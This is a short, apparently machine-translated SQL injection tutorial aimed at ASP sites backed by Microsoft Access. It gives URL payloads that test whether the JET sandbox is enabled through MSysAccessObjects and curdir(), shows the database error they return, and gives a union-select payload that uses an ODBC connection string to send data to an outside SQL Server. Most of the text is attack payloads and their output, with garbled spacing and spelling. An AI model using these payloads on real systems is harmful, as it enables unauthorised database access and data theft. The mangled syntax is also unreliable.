Access to determine whether sandbox is enabled

Access to determine whether sandbox is enabled
Author: linx

Asp? Articleid = 154% 20AND % 201 = (SELECT % 20% 20top % 201% 20 from % 20 MSysAccessObjects "> http: // 127.0.0.1/dangjian/read. asp? Articleid = 154% 20AND % 201 = (SELECT % 20% 20top % 201% 201% 20 from % 20 MSysAccessObjects)

Test whether sandbox is enabled. If an error is returned, it is not enabled.
Http: // 127.0.0.1/dangjian/read. asp? Articleid = 154% 20AND % 201 = (SELECT % 20% 20top % 201% 20 cudir () % 20 from % 20 MSysAccessObjects)
Microsoft JET Database Engine (0x80040E14)
The cudir function is not defined in the expression.

Send data:

SELECT id FROM users WHERE username = 1and password = union select * FROM [ODBC; DRIVER = SQL SERVER; Server = <Server>, <Port>; DATABASE = master; trusted_Connection = Yes]. information_Schema.Tables where 1 = 1or1 = 1

Tip comment: the tips for this injection are really good, but in general, it is difficult to open a sandbox machine in a pure access mode environment ~~